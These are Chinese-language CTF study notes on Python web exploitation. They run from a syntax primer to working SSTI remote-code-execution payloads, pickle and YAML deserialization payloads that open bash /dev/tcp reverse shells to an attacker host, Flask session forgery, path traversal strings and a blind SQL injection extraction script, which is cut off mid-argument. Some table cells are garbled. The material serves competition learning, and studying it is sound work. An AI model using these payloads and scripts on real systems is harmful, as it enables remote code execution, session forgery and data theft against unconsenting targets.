

Python 安全（CTF Web方向）

目录

- 0. Python语法速成（读懂本笔记必备）
 - 0.1 变量与基本数据类型
 - 0.2 字符串：拼接、格式化、常用方法
 - 0.3 列表 / 元组 / 字典 / 集合
 - 0.4 索引与切片
 - 0.5 条件与循环
 - 0.6 列表推导式（笔记payload中大量出现）
 - 0.7 函数与lambda
 - 0.8 类、对象、self（读懂1.1/1.2必备）
 - 0.9 点号链式访问怎么读（本笔记payload的核心阅读技巧）
 - 0.10 装饰器（看懂@app.route）
 - 0.11 常用内置函数速查
 - 0.12 import语句写法
- 1. Python基础与面向对象（漏洞视角）
 - 1.1 类与实例
 - 1.2 魔术方法（CTF重点）
- 2. import机制与危险模块
- 3. Flask框架安全
 - 3.1 基础结构与请求对象
 - 3.2 Flask Session签名与伪造
- 4. Python SSTI（重点）
 - 4.1 原理
 - 4.2 无过滤基础payload
 - 4.3 对象链核心知识

- 4.4 万能RCE payload合集
- 4.5 过滤绕过技巧
- 4.6 flask-unsigned与tplmap
- 5. Python反序列化漏洞
 - 5.1 pickle反序列化RCE
 - 5.2 YAML反序列化RCE
 - 5.3 其他序列化: shelve/jsonpickle/marshal
- 6. 命令执行与表达式注入
 - 6.1 eval/exec注入
 - 6.2 沙箱逃逸绕过黑名单
 - 6.3 无数字无字母RCE（进阶）
- 7. 文件操作漏洞
- 8. Django安全基础
- 9. 代码审计方法论
- 10. 常用工具速查
- 11. CTF题型优先级与Checklist
- 补充内容
- 12. python脚本工具

- [布尔盲注](#布尔盲注)

-

0. Python语法速成

0.1 变量与基本数据类型

Python变量不用声明类型，赋值即创建：

```

name = "admin"          # str 字符串
age = 18                 # int 整数
score = 9.5              # float 浮点数
is_admin = True          # bool 布尔值（注意首字母大写 True/False，不是
true/false）
nothing = None           # None 表示"空"，类似其他语言的null

```

用 `type()` 查看变量类型，这个函数在审计/调试时非常常用：

```

type(name)    # <class 'str'>

```

0.2 字符串：拼接、格式化、常用方法

```

a = "hello"
b = "world"

a + b                # 拼接 → "helloworld"
a + " " + b          # "hello world"
f"{a} {b}"           # f-string 格式化（笔记里payload常用），结果同上
"{a} {b}".format(a, b) # .format() 写法，效果一样

a.upper()            # 转大写
a.lower()            # 转小写
a.replace("h", "H")  # 替换
a.split(" ")         # 按空格切割成列表
"-".join(["a", "b"]) # 用 "-" 拼接列表 → "a-b"，笔记里 `__import__` 绕过常用
join 拼字符串

len(a)               # 字符串长度
chr(95)              # 数字→字符，95 对应下划线 '_'（第6章"无字母RCE"会用到）
ord("_")             # 字符→数字，95

```

0.3 列表 / 元组 / 字典 / 集合

类型	写法	特点
list 列表	<code>[1, 2, 3]</code>	可变、有序、可重复

类型	写法	特点
tuple 元组	<code>(1, 2, 3)</code>	不可变、有序（笔记里 <code>().__class__</code> 就是空元组的类）
dict 字典	<code>{"key": "value"}</code>	键值对，无序（3.7+有序）
set 集合	<code>{1, 2, 3}</code>	去重、无序

```

lst = [1, 2, 3]
lst.append(4)           # [1,2,3,4]
lst[0]                  # 取第一个元素 → 1

d = {"name": "admin", "role": "user"}
d["name"]                # "admin"
d.get("name")            # 同上，取不到返回None而不是报错
d.keys()                 # 所有key
d.values()               # 所有value

t = (1, 2, 3)            # 元组：小括号，创建后不能修改
empty_tuple = ()         # 空元组，笔记4.3节 ().__class__ 就是空元组的类型对象

```

0.4 索引与切片

索引从0开始，这是笔记里 `__subclasses__()[132]` 这类写法的基础：

```

lst = ['a', 'b', 'c', 'd']
lst[0]          # 'a' 第1个元素
lst[132]        # 第133个元素（笔记4.4节的[132]就是"取子类列表里第133个类"）
lst[-1]         # 'd' 倒数第1个
lst[1:3]        # ['b', 'c'] 切片：取下标1到2（不含3）

```

0.5 条件与循环

```

if is_admin:
    print("welcome admin")
elif age > 18:
    print("adult")
else:

```

```

print("guest")

for i in range(5):          # 循环0,1,2,3,4
    print(i)

for item in lst:           # 遍历列表
    print(item)

while True:
    break                  # 跳出循环

```

0.6 列表推导式（笔记payload中大量出现）

这是本笔记payload里出现频率最高的语法，一定要看懂：

```

[c for c in ().__class__.__base__.__subclasses__() if c.__name__ ==
'Popen']

```

拆解读法（从for开始读，if是过滤条件，最前面的c是"要拿什么"）：

第4.3节的这句话翻译成大白话：

for c in (某个列表)	→ 遍历这个列表里的每一项，起名叫c
if c.__name__ == 'Popen'	→ 只挑出c的名字是'Popen'的那些
[c ...]	→ ***把挑出来的c放进一个新列表返回

等价于用普通for循环写：

```

result = []
for c in ().__class__.__base__.__subclasses__():
    if c.__name__ == 'Popen':
        result.append(c)

```

0.7 函数与lambda

```
def add(a, b):                # 普通函数定义
    return a + b

add(1, 2)                     # 调用 → 3

square = lambda x: x * x      # lambda: 一行的匿名函数，等价于：
                              #   def square(x): return x*x
square(4)                     # → 16
```

0.8 类、对象、self（读懂1.1/1.2必备）

```
class User:                   # 定义一个类，相当于"图纸"
    def __init__(self, name): # __init__: 创建对象时自动调用的"初始化函数"
        self.name = name      # self指"当前这个对象自己"，self.name就是给这个对象存一个name属性

    def login(self):           # 类里的函数叫"方法"，第一个参数必须是self
        return f"{self.name} login"

u = User("admin")             # 创建对象（实例化），Python自动把u传给__init__的self
u.name                        # 访问属性 → "admin"
u.login()                     # 调用方法 → "admin login"
```

核心心法：`self` 就是"我自己"，`self.xxx = yyy` 就是"给我自己挂一个叫xxx的属性，值是yyy"。类里定义的所有函数第一个参数都是 `self`，调用时不用手动传（`u.login()` 不用写成 `u.login(u)`）。

0.9 点号链式访问怎么读（本笔记payload的核心阅读技巧）

笔记里大量出现这种"一串点号"的payload，例如：

```
().__class__.__base__.__subclasses__()
[132].__init__.__globals__['os'].system('id')
```

读法：从左到右，一步步"往下取东西"，每个 `.属性` 或 `.方法()` 都是上一步结果的"下一层"：

<code>()</code>	→ 空元组这个对象
<code>().__class__</code>	→ 拿到"元组"这个类本身（ <code>tuple</code> 类）
<code>.__base__</code>	→ 拿到 <code>tuple</code> 的父类（ <code>object</code> 类）
<code>.__subclasses__()</code>	→ 拿到 <code>object</code> 的所有子类组成的一个列表（几百个类）
<code>[132]</code>	→ 从这个列表里取第132号（某个具体的类，比如 <code>Popen</code> ）
<code>.__init__</code>	→ 取这个类的初始化方法
<code>.__globals__</code>	→ 取这个方法所在模块的全局变量字典（里面就有 <code>import</code> 过的 <code>os</code> 模块！）
<code>['os']</code>	→ 从这个字典里取出' <code>os</code> '这个 <code>key</code> 对应的值 → 拿到了 <code>os</code> 模块
<code>.system('id')</code>	→ 调用 <code>os.system('id')</code> 执行命令

一句话总结：这类payload的本质是"从一个无害的空对象出发，借助Python万物皆对象、层层都能`.`下去的特性，一路摸到`os`模块，再调用命令执行函数"。理解了这条链，第4章SSTI和第6章沙箱逃逸的payload都是同一个套路的变形。

0.10 装饰器（看懂`@app.route`）

```
@app.route("/")          # 装饰器：给下面的函数"贴一个标签/加一层功能"
def index():
    return "hello"
```

可以先不深究装饰器原理，只需要知道：`@app.route("/login")` 的意思是"访问 `/login` 这个URL时，执行下面这个函数"，函数名和路径不要求一致。

0.11 常用内置函数速查

审计代码、调试payload时反复会用到：

```

type(obj)          # 查看对象的类型
dir(obj)           # 列出对象所有属性/方法名，不知道能调用什么方法时先dir()看看
getattr(obj, "name") # 等价于 obj.name，但name可以是字符串变量（过滤绕过常用）
hasattr(obj, "name") # 判断obj有没有name这个属性，返回True/False
isinstance(obj, str) # 判断obj是不是str类型
setattr(obj, "name", value) # 等价于 obj.name = value

```

`getattr` 尤其重要：当过滤了 `.` 号时，`obj.attr` 可以写成 `getattr(obj, 'attr')` 绕过。

0.12 import语句写法

```

import os          # 导入整个os模块，用时写 os.system(...)
import os as o     # 起别名，用时写 o.system(...)
from os import system # 只导入system这一个函数，用时直接写
system(...)
from os import *    # 导入os模块里所有东西（不推荐，但CTF
payload里常见）
__import__('os')    # 函数形式的import，返回os模块对象，等价于
import os           # 常用于eval()里（eval只能执行表达式，

import是语句不能直接eval，

# 但__import__是函数调用，是表达式，可以
eval()

```

1. Python基础与面向对象（漏洞视角）

1.1 类与实例

```

class User:
    role = "guest" # 类属性
    def __init__(self, name):
        self.name = name # 实例属性
    def login(self):

```

```
return f"{self.name} login"
```

- 实例.__dict__ 查看实例属性
- 类.__dict__ 查看类属性/方法
- 实例.__class__.__dict__ 绕过实例访问类信息（对象逃逸链常用）

1.2 魔术方法（CTF重点）

魔术方法	触发时机	CTF利用场景
<code>__init__</code>	对象创建	构造payload对象
<code>__str__</code> / <code>__repr__</code>	<code>print()</code> / 格式化	触发字符串化时执行代码
<code>__getattr__</code>	访问不存在属性时	属性穿透/AOP绕过
<code>__getattribute__</code>	访问任意属性时	全局属性拦截，配合SSTI沙箱逃逸检测器绕过
<code>__setattr__</code> / <code>__delattr__</code>	设置/删除属性	POP链触发点
<code>__call__</code>	对象被当函数调用 <code>obj()</code>	常用于pickle *reduce* 返回值
<code>__reduce__</code> / <code>__reduce_ex__</code>	<code>pickle.dumps()</code> 序列化时	pickle RCE 核心
<code>__eq__</code> / <code>__add__</code>	运算符重载	少见，某些WAF绕过题会用

利用要点：CTF中常见「构造一个恶意类，让程序在某个隐式调用点（`__init__`/`__reduce__`/`__str__`）执行任意代码」。

```
class Evil:
    def __reduce__(self):
        import os
        return (os.system, ("id",))
```

2. import机制与危险模块

- 模块搜索顺序: `sys.path` (当前目录 > 环境变量 > 标准库路径)
- 模块劫持: 若当前目录可写且程序 `import xxx`, 可放同名恶意模块抢先加载 (本地题/沙箱题常见)

危险函数速查:

```
os.system("id")
os.popen("id").read()
subprocess.Popen("id", shell=True, stdout=subprocess.PIPE)
subprocess.call("id", shell=True)
subprocess.run(["id"], capture_output=True)
eval("__import__('os').system('id')")
exec("import os;os.system('id')")
```

subprocess: <https://chatgpt.com/share/6aa12ae7-468c-83ee-afb8-ee047301d958>

3. Flask框架安全

3.1 基础结构与请求对象

```
from flask import Flask, request, render_template,
render_template_string
app = Flask(__name__)

@app.route("/", methods=["GET", "POST"])
def index():
    name = request.args.get("name")           # GET
    name = request.form.get("name")           # POST表单
    name = request.cookies.get("name")        # Cookie
    name = request.headers.get("X-Name")      # Header
    name = request.values.get("name")         # GET+POST都取
    name = request.json                       # JSON body
```

危险入口标记: `render_template_string(request.args.get('name'))` → 直接SSTI。

3.2 Flask Session签名与伪造

原理:

```
Flask Session Cookie = base64(数据) + "." + base64(时间戳) + "." +  
base64(HMAC签名)  
签名算法: itsdangerous, 密钥为 app.config['SECRET_KEY']
```

已知secret_key时伪造session:

```
from flask.sessions import SecureCookieSessionInterface  
  
class FakeApp:  
    secret_key = "known_secret_key"  
  
session_interface = SecureCookieSessionInterface()  
serializer = session_interface.get_signing_serializer(FakeApp())  
cookie_value = serializer.dumps({"username": "admin", "is_admin":  
True})  
print(cookie_value)
```

用flask-unsign（推荐，命令行直接可用）：

```
# 安装  
pip install flask-unsign  
  
# 已知secret_key, 伪造任意session  
flask-unsign --sign --cookie '{"username': 'admin', 'is_admin':  
True}" --secret 'your_secret_key'  
  
# 未知secret_key, 爆破弱密钥（自带字典）  
flask-unsign --unsign --cookie '<拿到的cookie值>' --wordlist  
/usr/share/wordlists/rockyou.txt  
#遇到解析问题可加 --no-literal-eval  
  
# 拿到secret_key后解密查看session内容  
flask-unsign --decode --cookie '<cookie值>'
```

secret_key常见泄露点:

- 源码中硬编码 (`app.secret_key = "xxx"`, git泄露/备份文件泄露)
- 通过SSTI读取 `{{config.SECRET_KEY}}` (见4.2)
- 调试模式Werkzeug pin码计算后进console执行 `app.secret_key`

4. Python SSTI (重点)

4.1 原理

用户输入 → `render_template_string(input)` → Jinja2解析 `{{}}` 表达式
→ 表达式在Python环境中求值 → 可访问对象属性/调用方法 → 沿对象链逃逸到内
建函数 → RCE

易错点: `render_template("page.html", name=input)` 传参渲染 不是**SSTI** (`input`只是数据); `render_template_string(f"...{input}...")` 或直接拼接模板字符串 才是**SSTI** (`input`成为模板代码)。

4.2 无过滤基础payload

```
{{7*7}}           # 回显49 → 存在SSTI
{{7*'7'}}          # 回显77777777 → Jinja2 (区别于Twig等)
{{config}}         # 泄露Flask配置, 包括SECRET_KEY
{{config.SECRET_KEY}}
{{self}}
{{self.__dict__}}
```

4.3 对象链核心知识

从任意字符串/数字对象出发, 通过 `__class__` / `__base__` / `__mro__` / `__subclasses__()` 走到危险类:

```

'__.__class__          # <class 'str'>
'__.__class__.__mro__  # (str, object)
'__.__class__.__mro__[1]  # <class 'object'>
'__.__class__.__mro__[1].__subclasses__()  # object的所有子类列表（几百个）

```

在 `__subclasses__()` 列表里找可利用的类，常见目标：

- `subprocess.Popen`
- `os._wrap_close`
- `warnings.catch_warnings`（常用于绕过对 `os/subprocess` 关键字过滤）
- `<class 'site._Printer'>`（读文件）

查找子类下标（本地调试用，实战中下标不固定，需要动态查找或用通配payload）：

```

[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'Popen']

```

4.4 万能RCE payload合集（按可用性排序）

① 标准 **Popen** 链（不依赖固定下标，动态过滤查找）

```

{{ ().__class__.__base__.__subclasses__()[132]['__init__']
  ['__globals__']['os'].popen('id').read() }}

```

② 用 **lipsum / cycler** 直接拿 `__builtins__`（推荐，最短最稳）

```

{{ lipsum.__globals__['os'].popen('id').read() }}
{{ lipsum.__globals__.os.popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

```

③ 通过 `request` 对象（**Flask**环境变量常带）

```
{{
request.application.__self__.__get_data_for_json.__globals__.__built
ins__.__import__('os').popen('id').read() }}
```

④ 不依赖固定下标，动态遍历查找 **Popen**（万能模板，直接改命令用）

```
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'Popen' %}
{{ c('id', shell=True, stdout=-1).communicate() }}
{% endif %}
{% endfor %}
```

⑤ **subprocess.Popen** 完整对象链（无lipsum环境时用）

```
{{ (__class__.__base__.__subclasses__())
[132].__init__.__globals__['os'].popen('id').read() }}
```

实战建议：先用 *payload*②（**lipsum**）测试，绝大多数Flask/Jinja2默认环境可直接命中；②失败再用④的for循环动态查找Popen绕过下标不固定问题。

4.5 过滤绕过技巧

过滤点	绕过方式
过滤 <code>.</code>	使用 <code>attr()</code> ： <code>{{'__.__class__}}</code> → <code>`{`</code>
过滤 <code>_</code>	用 <code>{{'_'*2}}</code> 拼接下划线，或用 <code>request.args</code> 传参拼接字符串再用 <code>~</code> 拼接
过滤 <code>[]</code>	用 <code>.pop()</code> / <code>attr()</code> 代替下标取值
过滤关键字 <code>os/system/popen</code>	<code>{{'__.__class__.__mro__[1].__subclasses__()'}}</code> 中找 <code>catch_warnings/_wrap_close</code> 间接调用
过滤空格	用 <code>{% %}</code> 代替 <code>{{ }}</code> （Jinja2语句块本身用换行/tab分隔），或用 <code>{{'_.join(...)}}</code>
过滤单双引号	用 <code>request.args.p1</code> 传参代替硬编码字符串
过滤 <code>{{ }}</code>	用 <code>{%if%}</code> <code>{%for%}</code> 语句块代替表达式块

过滤点	绕过方式
长度限制严格	分段拼接：先设置 <code>{%set a=...%}</code> 变量，多次请求逐步拼出 payload
WAF拦截 <code>config</code>	<code>{{self.__dict__.__TemplateReference__context.config}}</code>

拼接绕过字符串示例（过滤了单引号）：

```

{{ request.args.cmd }} # ?
cmd=os.popen('id').read()（配合上面链使用）
{{ lipsum[request.args.a][request.args.b] }} # a=__globals__ b=os,
参数化传入绕过硬编码关键字

```

4.6 flask-unsigned与tplmap

```

# tplmap 自动化探测与利用SSTI
python2 tplmap.py -u "http://target/page?name=x"
python2 tplmap.py -u "http://target/page?name=x" --os-shell

```

5. Python反序列化漏洞

5.1 pickle反序列化RCE

原理：`pickle.loads()`反序列化时，若对象定义了 `__reduce__`，会执行其返回的函数。

<https://chatgpt.com/share/6aa24a6e-af98-83e8-be8c-9adab9d62039>

生成恶意 **pickle payload**（本地生成，目标 `pickle.loads(data)`）：

```
import pickle, os, base64

class Evil(object):
    def __reduce__(self):
        return (os.system, ("bash -c 'bash -i >& /dev/tcp/攻击机IP/端口 0>&1'",))

payload = pickle.dumps(Evil())
print(base64.b64encode(payload).decode())
```

<https://chatgpt.com/share/6aa2609e-a878-83e8-b235-3a6dfcc62cee>

常见触发点：

- `pickle.loads(request.cookies.get('session'))`
- `pickle.load(open(file, 'rb'))`
- Flask原生session若被自定义为pickle序列化（非默认，需审计SESSION_TYPE，如flask-session用Redis+pickle）

反弹shell payload（可直接替换IP端口使用）：

```
class Evil(object):
    def __reduce__(self):
        import os
        cmd = "bash -c 'bash -i >& /dev/tcp/1.2.3.4/4444 0>&1'"
        return (os.system, (cmd,))
```

注意：`pickletools.dis(payload)` 可反汇编查看pickle opcode，审计/调试用。

```
python3 -c "import pickletools,pickle;
pickletools.dis(open('payload.pkl','rb').read())"
```

pickletools: <https://chatgpt.com/share/6aa265a2-f998-83e8-907e-91b4d246b8a8>

5.2 YAML反序列化RCE

PyYAML中 `yaml.load()`（未指定 `Loader=SafeLoader` 时）默认允许执行任意Python对象构造：

```
!!python/object/apply:os.system ["id"]
```

完整利用 **payload**（直接复制使用）：

```
!!python/object/apply:subprocess.Popen
- ["bash", "-c", "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1"]
!!python/object/apply:os.popen
args: ["id"]
```

Python端触发代码示例（判断是否可利用）：

```
import yaml
yaml.load(user_input)                # 危险，PyYAML<5.1默认Loader不安全
yaml.load(user_input, Loader=yaml.Loader)  # 显式指定不安全Loader，同样可打
yaml.safe_load(user_input)            # 安全，无法用上述payload
yaml.full_load(user_input)            # PyYAML>=5.1默认，禁止任意对象构造，安全
```

判断**PyYAML**版本影响：`yaml.load()`无 `Loader` 参数时，PyYAML 5.1之前默认为不安全的 `Loader`，5.1+改为报 `FullLoader` 警告但仍可执行（视版本而定，5.1~5.3行为有变化，建议实战直接打payload测试回显）。

5.3 其他序列化：shelve/jsonpickle/marshal

```
# shelve底层基于pickle，同样存在RCE
import shelve
d = shelve.open('data')    # 若可控key/value，等价于pickle反序列化

# jsonpickle 反序列化任意对象（不如pickle常见，但有些CTF会考）
import jsonpickle
jsonpickle.decode(user_input)    # 可构造py/object触发任意类实例化

# marshal 反序列化code object，可直接执行字节码（较偏，遇到需查Python版本对应opcode）
import marshal
marshal.loads(user_input)
```

6. 命令执行与表达式注入

6.1 eval/exec注入

```
eval(request.args.get('code'))    # 表达式注入，注意eval只能执行表达式不能有赋值/import语句（单行可以import: __import__）
exec(request.args.get('code'))    # 可执行任意语句块，包括多行、赋值、import
```

基础payload:

```
# eval
__import__('os').system('id')
__import__('os').popen('id').read()
().__class__.__base__.__subclasses__()
[132].__init__.__globals__['os'].system('id')

# exec（多行）
import os
os.system('id')
```

6.2 沙箱逃逸绕过黑名单

限制	绕过方式
过滤 <code>import</code>	<code>__import__('os')、</code> <code>getattr(__builtins__, '__import__')('os')</code>
过滤 <code>os/system</code>	用对象链从 <code>().__class__.__subclasses__()</code> 中找 <code>Popen/_wrap_close</code>
过滤 <code>__builtins__</code>	<code>[].__class__.__base__.__subclasses__()</code> 走继承链拿内 建函数
过滤所有字母（只允许特 殊符号）	参考6.3无字母RCE
<code>eval</code> 被沙箱重写 <code>__getattr__</code> 拦截 属性访问	找沙箱未拦截的替代路径（如 <code>format</code> 、 <code>f-string</code> 触发的 <code>__format__</code> 不经过 <code>__getattr__</code> 检查点）
限制内建函数白名单	通过白名单函数间接拿到 <code>__builtins__</code> ，如 <code>().__class__.__bases__[0].__subclasses__()</code>

字符串拼接绕过关键字过滤：

```
getattr(__import__('os'), 'sys' + 'tem')('id')
eval(chr(95)+chr(95)+'import'+chr(95)+chr(95)+"
('os').system('id'))
```

6.3 无数字无字母RCE（进阶）

利用Python的字符串/整数隐式构造 + 位运算/字符串比较拼出字符：

```
# 无字母无数字构造字符串（示例思路，非固定payload，需按具体过滤规则调整）
().__class__.__base__.__subclasses__() # 全是符号，不含字母数字
```

该类题目高度定制化，建议结合具体过滤黑名单现场构造，核心思路是全程使用 `()`
`[]`、`__class__` 等符号完成对象访问，不触碰字母字符。

7. 文件操作漏洞

```
open(request.args.get('file')).read()          # 任意文件读取，无过滤直接 ?
file=/etc/passwd 或 ?file=../../../../flag
open(request.args.get('file'), 'rb')

send_file(request.args.get('file'))            # Flask, 路径穿越读任意文件
```

路径穿越payload:

```
?file=../../../../etc/passwd
?file=.....//.....//.....//etc/passwd    # 过滤../后仍可能被处理成../的绕过写法
?file=/proc/self/environ                      # 获取环境变量，有时含flag
?file=/proc/self/cmdline                      # 获取启动命令，可能暴露flag文件名/路径
```

Flask静态文件路由穿越（老版本**Werkzeug**）：

```
/static/../../../../etc/passwd
```

8. Django安全基础

- **SQL注入**： `Model.objects.raw()`、`.extra()`、`cursor.execute()` 拼接字符串时存在，`filter()` 等ORM方法默认参数化安全
- **SSTI**： Django模板引擎（DTL）沙箱较严，`{{}}` 默认无法调用带下划线的属性，出题少见，若开`{% autoescape off %}` 需结合具体filter审计
- 反序列化： `pickle/yaml` 用法同上，另注意 `django.core.signing` 签名机制（类似Flask的`itsdangerous`）
- **DEBUG=True**泄露： 报错页面直接泄露 `SECRET_KEY`、中间件、完整堆栈，是拿 `SECRET_KEY` 伪造session/CSRF token的常见入口

9. 代码审计方法论

1. 找入口: `request.args` / `request.form` / `request.json` / `request.cookies` / `request.headers` / `request.files`
2. 追踪数据流: 入口变量 → 是否被拼接进模板/命令/反序列化/文件路径 中间是否有过滤或校验
3. 定位危险函数:
`render_template_string` / `eval` / `exec` / `os.system` / `subprocess.*` /
`pickle.loads` / `pickle.load` / `yaml.load` / `open` / `send_file` / `__import__`
4. 判断是否可直接触发, 还是需要绕过过滤 (`type`检查/正则黑名单/长度限制)
5. 本地起同版本环境复现payload, 再搬到目标环境

审计时优先**grep**的关键词:

```
grep -rn  
"render_template_string\|eval(\|exec(\|pickle.load\|yaml.load\|os.s  
ystem\|subprocess\|__import__\|open(" .
```

10. 常用工具速查

工具	用途	常用命令
flask-unsign	Flask session伪造/爆破/解码	<code>flask-unsign --sign/--unsign/--decode</code>
tplmap	SSTI自动化探测利用	<code>python2 tplmap.py -u <url> --os-shell</code>
pickletools	pickle payload反汇编分析	<code>pickletools.dis(data)</code>
Burp Suite	抓包改包、Repeater调试payload	-
dirsearch/ffuf	目录/接口爆破, 找隐藏路由	<code>ffuf -u http://target/FUZZ -w wordlist.txt</code>

11. CTF题型优先级与Checklist

第一梯队 ★★★★★（必学，出题率最高）

- ✓ SSTI（Jinja2对象链 + lipsum万能payload + 过滤绕过）
- ✓ Flask Session伪造（flask-unsign爆破/伪造流程）
- ✓ pickle反序列化（__reduce__ 构造反弹shell payload）
- ✓ eval/exec表达式注入（黑名单绕过思路）

第二梯队 ★★★★★

- ✓ YAML反序列化（!!python/object/apply 系列payload）
- ✓ 任意文件读取（路径穿越payload集）
- ✓ 文件上传（结合Flask/Werkzeug解析特性）
- ✓ 命令执行（黑名单绕过、无字母数字构造）

第三梯队 ★★★

- ✓ Django常见漏洞（DEBUG泄露、ORM注入边界情况）
- ✓ JWT伪造/爆破（配合Python服务端场景）
- ✓ Redis相关Python应用链（结合SSRF gopher协议打Redis，见SSRF.md）

做题时的第一反应顺序：

1. 看到 `{{{}}` 回显/模板报错 → 先测 `{{7*7}}` 判断SSTI
2. 看到Set-Cookie里有 `xxx.xxx.xxx` 三段式 → 想到Flask session，抓包丢flask-unsign爆破
3. 看到pickle/反序列化提示或不明二进制/base64的cookie → 想到pickle RCE
4. 看到YAML上传/解析功能 → 测 `!!python/object/apply`
5. 看到eval/计算器类题目 → 表达式注入，先试对象链万能payload

12.python脚本工具

布尔盲注

```
# -*- coding: utf-8 -*-  
"""
```

通用布尔盲注脚本 (Binary-Search Boolean Blind SQLi)

=====

原理：页面只回显「真 / 假」两种状态时，把任意子查询包进

`ascii(substr((expr), pos, 1)) > mid`

用二分法（约 7 次请求/字符）逐字符还原数据。

依赖: python3 + requests (pip install requests)

用法示例：

1) 提取任意子查询的字符串结果

```
python3 blind_sql_i.py --expr "database()"
```

```
python3 blind_sql_i.py --expr "(select flag from secret_flags  
limit 0,1)"
```

2) 提取数值（数表/数行）

```
python3 blind_sql_i.py --count "(select count(*) from  
information_schema.tables where table_schema=database())"
```

3) 一张表的所有行（自动加 limit i,1, 需给 --rows 行数）

```
python3 blind_sql_i.py --expr "(select table_name from  
information_schema.tables where table_schema=database())" --rows 2
```

4) 命令行覆盖配置（不改动本文件也能换目标）

```
python3 blind_sql_i.py --url "http://x.x.x.x/a.php" --param q \  
--true-mark "welcome" --expr "version()" --data  
"q=INJ&other=1"
```

所有【必改】位置集中在下面 CONFIG 区，带 ► 标记。

```
"""
```

```
import argparse
```

```
import sys
```

```
import time
```

```
import requests
```

```
# =====
# CONFIG -- 默认配置区
# =====

# ▶【必改 1】目标 URL（不含查询串）
URL = "http://192.168.124.53:51462/search.php"

# ▶【必改 2】注入参数名
PARAM = "keyword"

# ▶【必改 3】请求方式：GET 或 POST
METHOD = "GET"

# ▶【按需改】POST 时才需要：请求体，注入参数的值固定写占位符 __INJ__
# 例：DATA = "username=__INJ__&password=1"
DATA = None

# ▶【按需改】额外固定参数 / 请求头 / Cookie（如 session）
EXTRA_PARAMS = {} # 例：{"page": "1"}
HEADERS = {"User-Agent": "Mozilla/5.0"} # 例：加 {"Cookie":
"PHPSESSID=xxx"}
PROXY = None # 例：{"http": "http://127.0.0.1:8080"}
走 Burp 抓包

# ▶【必改 4】真/假判定标记：条件为【真】时页面才会出现的字符串
# （也可以只给假标记：TRUE_MARK=None，FALSE_MARK="没有找到"）
TRUE_MARK = "共找到"
FALSE_MARK = None # 条件为【假】时页面才会出现的字符串（可选）

# =====
# ▶【必改 5】注入模板 -- 最需要按注入点类型修改的部分！
# 可用占位符：{expr}=子查询 {pos}=字符位置 {mid}=ascii 比较值
# 模板职责：把布尔条件接进页面能区分真假的查询里。
#
# 常见变体：
# a) GET 引号闭合(本题): ' and ascii(substr(({expr}},{pos},1))>
{mid}#
# b) 数字型注入: 1 and ascii(substr(({expr}},{pos},1))>
{mid}
```

```
# c) 双引号闭合: " and ascii(substr(({expr}},{pos},1))>
{mid}#
# d) LIKE 通配符型（无引号可用时）: '%' and ascii(...)... 视情况调整
# e) 括号闭合: 1) and ascii(substr(({expr}},{pos},1))>
{mid}#
# f) POST/JSON: 把模板塞进 JSON 字段, 改 send() 的发送方式
TEMPLATE = "' and ascii(substr(({expr}},{pos},1))>{mid}#"

```

```
# 「字符是否存在」探测模板（判断提取是否到结尾）
EXISTS_TEMPLATE = "' and ascii(substr(({expr}},{pos},1))>0#"

```

```
# 数值二分模板（--count 用）
COUNT_TEMPLATE = "' and ({expr})>{mid}#"

```

```
# =====
# ▶【按需改】二分范围: 默认覆盖全部可打印 ASCII
CHAR_LO, CHAR_HI = 32, 127
SLEEP = 0 # 每次请求间隔秒数（防 WAF 限速）
TIMEOUT = 15
# =====

```

```
def send(payload_value: str) -> str:
    """发送一次请求, 返回响应文本。payload_value = 填好布尔条件的注入串"""
    if METHOD.upper() == "POST":
        body = DATA.replace("__INJ__", payload_value) if DATA else
payload_value
        r = requests.post(URL, data=body, headers=HEADERS,
proxies=PROXY, timeout=TIMEOUT)
    else:
        params = dict(EXTRA_PARAMS)
        params[PARAM] = payload_value
        r = requests.get(URL, params=params, headers=HEADERS,
proxies=PROXY, timeout=TIMEOUT)
    if SLEEP:
        time.sleep(SLEEP)
    return r.text

```

```
def oracle(payload_value: str) -> bool:

```

```

        """真/假判定: TRUE_MARK 出现→真; FALSE_MARK 出现→假; 都没有→False(视为假/出错)"""
        text = send(payload_value)
        if TRUE_MARK is not None and TRUE_MARK in text:
            return True
        if FALSE_MARK is not None:
            return FALSE_MARK not in text
        return False

def render(template: str, expr: str, pos: int = 0, mid: int = 0) -> str:
    return template.format(expr=expr, pos=pos, mid=mid)

def extract(expr: str, maxlen: int = 120, start: int = 1, quiet: bool = False) -> str:
    """逐字符二分提取子查询 expr 的字符串结果"""
    out = ""
    for pos in range(start, start + maxlen):
        if not oracle(render(EXISTS_TEMPLATE, expr, pos)):
            break # 该位置无字符 →
    结束
    lo, hi = CHAR_LO, CHAR_HI
    while lo < hi:
        mid = (lo + hi) // 2
        if oracle(render(TEMPLATE, expr, pos, mid)):
            lo = mid + 1
        else:
            hi = mid
    out += chr(lo)
    if not quiet:
        print(f" [{pos}] {out}", flush=True)
    return out

def count_extract(expr: str, hi_max: int = 1000) -> int:
    """数值二分: 子查询 expr 返回数字 (count/长度等)"""
    lo, hi = 0, hi_max
    while lo < hi:

```

```

        mid = (lo + hi) // 2
        if oracle(render(COUNT_TEMPLATE, expr, mid=mid)):
            lo = mid + 1
        else:
            hi = mid
    return lo

def main():
    global URL, PARAM, METHOD, DATA, TRUE_MARK, FALSE_MARK,
    TEMPLATE, EXISTS_TEMPLATE, COUNT_TEMPLATE, SLEEP, PROXY
    p = argparse.ArgumentParser(description="通用布尔盲注脚本")
    p.add_argument("--url", default=URL, help="目标 URL")
    p.add_argument("--param", default=PARAM, help="注入参数名")
    p.add_argument("--method", default=METHOD, choices=["GET",
"POST"])
    p.add_argument("--data", default=DATA, help="POST 请求体, 注入点用
__INJ__ 占位")
    p.add_argument("--true-mark", default=TRUE_MARK, help="真标记")
    p.add_argument("--false-mark", default=FALSE_MARK, help="假标记
(可选)")
    p.add_argument("--template", default=TEMPLATE, help="注入模板, 含
{expr}/{pos}/{mid}")
    p.add_argument("--exists-template", default=EXISTS_TEMPLATE)
    p.add_argument("--count-template", default=COUNT_TEMPLATE)
    p.add_argument("--expr", help="要提取的子查询")
    p.add_argument("--count", dest="count_expr", help="要二分的数值子
查询")
    p.add_argument("--rows", type=int, default=0, help="对 --expr 自
